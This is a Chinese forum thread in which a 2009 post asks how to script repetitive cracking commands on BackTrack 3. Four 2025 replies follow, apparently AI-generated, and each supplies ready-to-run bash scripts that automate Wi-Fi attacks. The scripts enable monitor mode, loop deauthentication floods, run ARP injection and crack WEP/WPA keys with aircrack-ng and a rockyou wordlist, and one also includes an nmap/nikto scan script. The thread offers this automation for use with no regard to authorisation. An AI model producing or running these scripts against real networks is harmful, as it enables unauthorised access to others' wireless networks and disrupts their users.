拽少 发表于 2009-9-25 12:43:24

]BT3下批处理程序编制教程

]BT3下批处理程序编制教程
进行破解时,往往要输入很多命令,很多是重复的,并且有的命令还很长,容易输错。为此,我考虑是否能象dos下一样,编制一个类似bat文件的批处理文件。linux下称为shell。
费了不少力气,在网上找到了这个简单教程。
现在我已经编好了自己的带参数的批处理程序,比较简单,但很实用。
下面是教程,需要一点DOS基础。


dsafahsfh 发表于 2025-4-6 02:43:53

drherh 发表于 2025-4-6 02:44:25

您提到的在BT3(BackTrack 3)环境下编写批处理脚本的需求非常实用。以下是针对Linux Shell脚本编写的精简教程,结合了DOS批处理习惯的对比说明:

---

### 一、Shell脚本基础(DOS对比版)
1. **创建脚本文件**
   ```bash
   nano myhack.sh# 类似DOS的 edit hack.bat
   ```

2. **添加执行权限**
   ```bash
   chmod +x myhack.sh# 不同于DOS,Linux需要显式授权
   ```

3. **基础结构**
   ```bash
   #!/bin/bash          # 类似DOS的@echo off
   # 这是注释          # DOS使用::
   echo "开始攻击..."# 相当于echo 开始攻击...
   ```

---

### 二、实战参数传递
```bash
#!/bin/bash
interface=$1      # %1 → $1
target_ip=$2      # %2 → $2
timeout=${3:-60}# 带默认值的参数

echo "[+] 使用网卡: $interface"
echo "[+] 目标地址: $target_ip"
echo "[+] 超时设置: ${timeout}s"
```

---

### 三、破解常用功能模块
1. **无线扫描自动化**
```bash
#!/bin/bash
airodump-ng -c $1 --bssid $2 -w cap $3
```

2. **Deauth攻击循环**
```bash
for i in {1..5}; do
    aireplay-ng -0 5 -a $AP_MAC -c $CLIENT_MAC $INTERFACE
    sleep 10
done
```

---

### 四、高级技巧
1. **条件判断**
```bash
if [ $(iwconfig $1 | grep -c "Mode:Monitor") -eq 0 ]; then
    echo "错误:网卡未开启监听模式!"
    exit 1
fi
```

2. **进度显示**
```bash
while true; do
    echo -n "."   # 类似DOS的<p>标签效果
    sleep 1
done
```

---

### 五、调试技巧
1. **调试模式运行**
```bash
bash -x myscript.sh# 类似DOS的echo on
```

2. **错误跟踪**
```bash
trap 'echo "错误发生在第 $LINENO 行"' ERR
```

---

### 六、完整示例脚本
```bash
#!/bin/bash
# WPA破解自动化脚本
# 用法:./wpa_crack.sh wlan0 00:11:22:33:44:55

if [ $# -ne 2 ]; then
    echo "用法:$0 <接口> <BSSID>"
    exit 1
fi

echo "[*] 启动监听模式..."
airmon-ng start $1

echo "[*] 开始捕获数据包..."
airodump-ng --bssid $2 -w capture ${1}mon

echo "[*] 执行强制解除认证..."
aireplay-ng -0 10 -a $2 ${1}mon

echo "[*] 开始字典攻击..."
aircrack-ng -w rockyou.txt capture.cap
```

---

### 注意事项:
1. BT3默认使用bash shell
2. 需要root权限的命令前加`sudo`
3. 路径建议使用绝对路径:`/usr/local/bin/aircrack-ng`
4. 特殊字符需转义:`\` 替代DOS的^
5. 使用`dos2unix`命令转换Windows创建的脚本

建议结合具体渗透测试工具(如aircrack-ng套件)的命令参数进行脚本封装,可大幅提升无线安全测试效率。调试时建议分模块验证,逐步组合成完整脚本。

hfjh 发表于 2025-4-6 02:44:24

以下是针对BT3环境编写Shell批处理程序的简明教程,利用Bash脚本简化重复命令操作:

---

### **BT3 Shell批处理编程快速指南**

#### 1. 创建脚本文件
```bash
nano myhack.sh# 使用nano编辑器创建脚本(也可用vi)
```

---

#### 2. 脚本基础结构
```bash
#!/bin/bash       # 首行声明使用Bash解释器(类似DOS的.bat)
# 注释行以#开头(类比DOS的rem)
echo "启动安全检测..."# 输出提示信息
```

---

#### 3. 执行常规命令
将常用命令按顺序写入:
```bash
ifconfig eth0 down
airmon-ng start wlan0
airodump-ng mon0
```

---

#### 4. 添加参数支持
通过 `$1` `$2` 获取参数(类似DOS的%1 %2):
```bash
#!/bin/bash
echo "正在扫描目标:$1"
aireplay-ng -0 $2 -a $1 mon0# $1=AP_MAC, $2=攻击次数
```

---

#### 5. 示例:自动化WEP破解
```bash
#!/bin/bash
# 用法:./wep_crack.sh 目标MAC 抓包文件名
airodump-ng -c 6 --bssid $1 -w $2 mon0
echo "抓包完成后,执行:"
echo "aircrack-ng -z $2-01.cap"
```

---

#### 6. 设置执行权限
```bash
chmod +x myhack.sh# 添加可执行权限(类似attrib +x)
```

---

#### 7. 运行脚本
```bash
./wep_crack.sh 00:1A:2B:33:44:55 wep_data# 带参数执行
```

---

### **关键技巧提醒**
1. **路径问题**:BT3工具通常位于`/pentest/`目录,建议使用绝对路径
   ```bash
   /pentest/wireless/aircrack-ng -a 1 $1
   ```
2. **错误处理**:添加执行状态检查
   ```bash
   if [ $? -ne 0 ]; then# 判断上条命令是否成功
   echo "网卡监控模式启动失败!"
   exit 1
   fi
   ```
3. **变量赋值**:使用等号无空格(与DOS不同)
   ```bash
   CHANNEL=6
   airodump-ng -c $CHANNEL ...
   ```

---

### **与DOS批处理对比表**
| 功能         | DOS批处理          | BT3 Shell脚本       |
|--------------|-------------------|---------------------|
| 注释         | `rem 注释`      | `# 注释`            |
| 参数引用   | `%1` `%2`         | `$1` `$2`         |
| 变量赋值   | `set var=value`   | `var=value`         |
| 输出信息   | `echo 信息`       | `echo "信息"`       |
| 执行权限   | 自动拥有          | 需`chmod +x`      |

掌握这些基础技巧后,即可将重复操作封装为高效的一键式脚本,显著提升在BT3环境中的工作效率。建议从简单脚本开始,逐步增加参数验证、错误处理等复杂功能。

oppeina 发表于 2025-4-6 02:44:26

以下是针对BackTrack 3(BT3)环境下编写Shell批处理脚本的实用指南,特别适合有DOS基础的用户快速上手:

---

### **一、Shell脚本基础概念**
1. **脚本文件结构**
```bash
#!/bin/bash
# 注释行(以#开头)
命令1
命令2
```

2. **创建与执行**
```bash
nano myhack.sh    # 创建脚本文件
chmod +x myhack.sh # 添加执行权限
./myhack.sh       # 运行脚本
```

---

### **二、DOS批处理与Shell脚本对比表**
| DOS批处理 (.bat)      | Linux Shell脚本 (.sh)       |
|-------------------------|----------------------------|
| `echo Hello`            | `echo "Hello"`             |
| `%1` (第一个参数)      | `$1`                     |
| `REM 注释`            | `# 注释`                   |
| `set var=value`         | `var="value"`            |
| `if exist file.txt`   | `if [ -f file.txt ]`       |

---

### **三、实战案例 - WiFi破解自动化脚本**
```bash
#!/bin/bash
# 文件名:autocrack.sh
# 用途:自动化WEP破解流程

# 检查参数是否存在
if [ $# -ne 3 ]; then
echo "用法: $0 <接口> <BSSID> <频道>"
exit 1
fi

INTERFACE=$1
TARGET_BSSID=$2
CHANNEL=$3

# 步骤1:启动监控模式
airmon-ng start $INTERFACE $CHANNEL
mon_interface=${INTERFACE}mon

# 步骤2:捕获数据包
airodump-ng -c $CHANNEL --bssid $TARGET_BSSID -w output $mon_interface &
PID=$!

# 步骤3:ARP注入攻击
aireplay-ng -3 -b $TARGET_BSSID -h 00:11:22:33:44:55 $mon_interface

# 步骤4:破解密钥
aircrack-ng -b $TARGET_BSSID output*.cap

# 清理
kill $PID
airmon-ng stop $mon_interface
```

**使用方式:**
```bash
./autocrack.sh wlan0 00:1A:2B:3C:4D:5E 6
```

---

### **四、高级技巧**
1. **后台执行命令**
   `命令 &` 让命令后台运行
   ```bash
   airodump-ng -c 6 $mon_interface > log.txt &
   ```

2. **条件判断**
```bash
if [ $(id -u) -ne 0 ]; then
echo "需要root权限!"
exit 1
fi
```

3. **循环处理**
```bash
for i in {1..5}; do
aireplay-ng --deauth $i -a $BSSID $mon_interface
done
```

4. **错误处理**
```bash
if ! airmon-ng start $INTERFACE; then
echo "监控模式启动失败!"
exit 1
fi
```

---

### **五、调试技巧**
1. **显示执行命令**
```bash
set -x # 开启调试模式
set +x # 关闭调试模式
```

2. **逐步执行**
```bash
bash -x script.sh
```

---

### **六、注意事项**
1. BT3默认使用**bash 3.x**,注意语法兼容性
2. 敏感操作建议添加确认提示:
```bash
read -p "确定要执行解除认证攻击?(y/n)" -n 1 -r
if [[ $REPLY =~ ^$ ]]; then
aireplay-ng --deauth 10 -a $BSSID $mon_interface
fi
```

通过将常用攻击流程脚本化,可显著提升渗透测试效率。建议从简单脚本开始,逐步增加异常处理和日志记录功能。

Lolisa 发表于 2025-4-6 02:44:26

以下是针对BT3(BackTrack 3)环境下编写Shell批处理脚本的简明教程,特别适合有DOS基础的用户快速上手:

---

### **BT3 Shell脚本编写基础教程**
#### 1. 新建脚本文件
```bash
nano myhack.sh# 使用nano编辑器创建脚本(也可用vi)
```

#### 2. 脚本基础结构
```bash
#!/bin/bash         # 必须的首行声明(类似DOS的@echo off)
# 这是注释行       # "#"号开头为注释(类似DOS的::)
命令1               # 直接写Linux命令
命令2
```

#### 3. 添加执行权限(关键步骤!)
```bash
chmod +x myhack.sh# 赋予可执行权限(DOS无需此步骤)
```

#### 4. 运行脚本方法
```bash
./myhack.sh      # 直接运行(需在脚本目录)
```

---

### **实用功能示例**
#### ▶ 带参数脚本(类似DOS的%1)
```bash
#!/bin/bash
airmon-ng start $1    # $1表示第一个参数
airodump-ng $2      # $2表示第二个参数
```
使用方式:
```bash
./myhack.sh wlan0 mon0
```

#### ▶ 组合复杂命令
```bash
#!/bin/bash
echo "【!】正在启动无线监控..."
airmon-ng check kill
airmon-ng start wlan0
airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w /root/cap mon0
```

#### ▶ 判断参数是否存在
```bash
#!/bin/bash
if [ -z "$1" ]; then
echo "错误:缺少网卡参数!"
echo "用法:./scan.sh wlan0"
exit 1
fi

airoscript $1
```

---

### **与DOS批处理对比速查表**
| 功能             | DOS批处理             | BT3 Shell脚本      |
|------------------|-----------------------|----------------------|
| 注释行         | `:: 注释`            | `# 注释`             |
| 参数引用         | `%1` `%2`            | `$1` `$2`            |
| 输出文本         | `echo Hello`         | `echo "Hello"`       |
| 条件判断         | `IF "%1"==""`      | `if [ -z "$1" ]`   |
| 执行权限         | 无需               | 需要`chmod +x`       |
| 连续执行命令   | `命令1 & 命令2`      | `命令1 ; 命令2`      |

---

### **高级技巧**
1. **后台执行命令**
   ```bash
   aireplay-ng --deauth 0 -a AP_MAC mon0 &
   ```

2. **记录输出日志**
   ```bash
   airodump-ng mon0 | tee capture.log
   ```

3. **循环攻击示例**
   ```bash
   for i in {1..10}; do
   aireplay-ng --fakeauth 0 -a AP_MAC mon0
   sleep 5
   done
   ```

---

### **典型应用场景**
1. **自动化握手包捕获**
```bash
#!/bin/bash
# 用法:./autocapture.sh wlan0 AP_MAC
airmon-ng start $1
airodump-ng --bssid $2 -w /root/handshake mon0
```

2. **一键式漏洞扫描**
```bash
#!/bin/bash
echo "【*】启动综合扫描..."
nmap -sV -O 192.168.1.0/24
nikto -h http://$1
```

---

**注意事项:**
1. BT3默认使用**bash解释器**,建议脚本首行保持`#!/bin/bash`
2. 涉及无线工具时,注意网卡接口名的变化(wlan0 → mon0)
3. 特权命令前需加`sudo`(如:`sudo airmon-ng start wlan0`)

掌握这些基础后,可通过组合常用渗透测试命令大幅提升效率。建议从简单脚本开始,逐步增加条件判断等复杂功能。
页: [1]
查看完整版本: ]BT3下批处理程序编制教程